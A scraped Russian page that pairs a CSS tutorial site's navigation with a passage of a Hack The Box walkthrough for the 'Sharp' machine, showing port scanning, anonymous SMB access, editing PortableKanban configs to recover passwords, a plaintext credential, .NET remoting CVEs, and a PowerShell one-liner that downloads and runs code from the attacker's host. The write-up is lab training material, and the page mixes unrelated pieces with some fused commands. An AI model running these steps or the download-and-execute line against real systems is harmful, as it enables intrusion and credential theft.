Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
    
    
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
    
Дочерние селекторы
    
Селекторы атрибутов
 
Универсальный селектор
    
Псевдоклассы
  
Псевдоэлементы
    
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
    
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
   
Списки
                                          
Ссылки
                                          
Дизайны сайтов
    
Формы
  
Таблицы
    
CSS3
                                         
HTML5
                                       
									Блог для вебмастеров
									Новости мира Интернет
                                    Сайтостроение
    
									Ремонт и советы
	
                                    Все новости
                                        
									
                                    Справочник от А до Я
    
									HTML, CSS, JavaScript
									
									
									Афоризмы о учёбе
									Статьи об афоризмах
									Все Афоризмы
									
									
| Помогли мы вам | 
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Адрес нашей машины — 10.10.10.219, закидывай его в /, чтобы можно было обращаться к хосту по имени.
10.10.10.219    sharp.htbПервый шаг любой атаки — сканирование портов. Я обычно выполняю его вот таким небольшим скриптом. Он делает два прохода: сначала по всем портам, затем с использованием скриптов (опция -A) — по тем, где что‑то обнаружилось. Это позволяет получить подробный список сервисов, работающих на удаленном хосте.
ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1Как это обычно бывает на машинах с Windows, в результате сканирования имеем много открытых портов:
Как видишь, здесь нет веб‑сервера или каких‑то других сервисов, которые бы предоставляли широкое поле для проверок и поиска учетных данных. А значит, у нас всего два дальнейших вектора: тест без учетных данных (через анонимный доступ) и, если ничего не получится, брутфорс учетки.
Первым делом проверяем, что можно найти на шаре SMB. Находим общую директорию kanban, которая доступна без авторизации. С помощью SMBMap сразу просматриваем рекурсивно все содержимое (опция -R):
smbmap -H sharp.htb
smbmap -Hsharp.htb -R kanban
Файлов очень много, и удобнее анализировать их локально, поэтому я подключился к общему ресурсу через проводник и скопировал все содержимое каталога на локальный хост.
Похоже, перед нами какое‑то приложение для Windows. Среди файлов нашлось руководство пользователя, это нам на руку. А в файле PortableKanban. находим учетные данные двух пользователей. Их пароли оказались зашифрованы. Для просмотра файлов в формате JSON в терминале советую использовать утилиту jq, которая позволяет в два счета парсить разметку и вытягивать нужные данные.
cat PortableKanban.pk3 | jq
Перейдем на машину с Windows (я обычно работаю в Linux) и посмотрим, что нам даст запуск приложения. Первым делом оно нас проинформирует, что по умолчанию пароль для администратора пустой.
Тут пришла идея изменить сами файлы конфигурации программы, так как цифровая подпись отсутствует и приложение не сможет проверить целостность содержащихся в конфиге данных. Сохраним файлы конфигурации перед их изменением.
Сначала удалим файл с разрешением md5, а потом уберем в двух оставшихся файлах конфигурации пароль администратора по ключу EncryptedPassword. Теперь мы можем успешно авторизоваться как Administrator с пустым паролем.
Стоит хорошенько изучить приложение, так как в нем могут найтись записи с критическими данными или еще какая‑нибудь полезная информация. К примеру, перейдя в настройки, мы видим список всех зарегистрированных в программе пользователей (те же, что и в конфиге). Что еще более важно, мы можем посмотреть пароль в открытом виде, просто сняв галочку. Пустое поле пароля у администратора свидетельствует о том, что это расшифрованный пароль из конфига. Так мы узнаем пароль пользователя lars.
Получается, мы можем расшифровать пароли из конфига. Давай восстановим и пароль админа — он еще может пригодиться. Восстанавливаем сохраненные конфиги и меняем роль (ключ Role) известного нам пользователя lars c User на Admin. Успешно авторизуемся (ведь пароль мы уже знаем) и уже знакомым нам способом получаем пасс администратора.
Теперь у нас уже есть кое‑какие учетные данные, и мы можем попробовать подключиться к известным нам службам. Снова начинаем с SMB и узнаем, что от имени пользователя lars нам доступна новая директория — dev. Сразу рекурсивно просмотрим все содержимое.
smbmap -Hsharp.htb -ulars -p 'G123HHrth234gRG'smbmap -Hsharp.htb -ulars -p 'G123HHrth234gRG' -R dev
В найденной директории видим записку и три исполняемых файла, один из которых — библиотека с говорящим названием RemotingLibrary.. Я снова подключился через проводник и сохранил все содержимое на локальный хост. В записке содержится список задач, где сказано о грядущем переносе .NET на WCF и добавлении валидации входных данных.
Подобные упоминания очень полезны, так как теперь мы знаем, что ввод не фильтруется, и в этом заключается дальнейший вектор атаки. Что очень важно, приложение написано на C#, поэтому переносим файлы на машину с Windows и декомпилируем с помощью dnSpy, начиная, конечно же, с клиента. Как видно в строке 15 декомпилированного кода, приложение отвечает на порте 8888. А строки 16 и 17 содержат учетные данные для подключения, которое обеспечивается за счет использования System..
У меня уже был подобный опыт, поэтому я догадывался, какую уязвимость придется эксплуатировать. Речь о багах CVE-2014-1806 (недостаточное ограничение на доступ к памяти) и CVE-2014-4149 (отсутствие проверки TypeFilterLevel). В эксплуатации нам поможет эксплоит Джеймса Форшоу.
Приступим к эксплуатации. Сначала сгенерируем нагрузку‑дроппер, которая будет выполнять основную нагрузку. В качестве нагрузки дроппера используем однострочник на PowerShell, который загрузит c нашего хоста код на PowerShell и выполнит его.
IEX(new-objectnet.webclient).downloadstring('http://10.10.14.73:8888/mt.ps1')|  |  | 













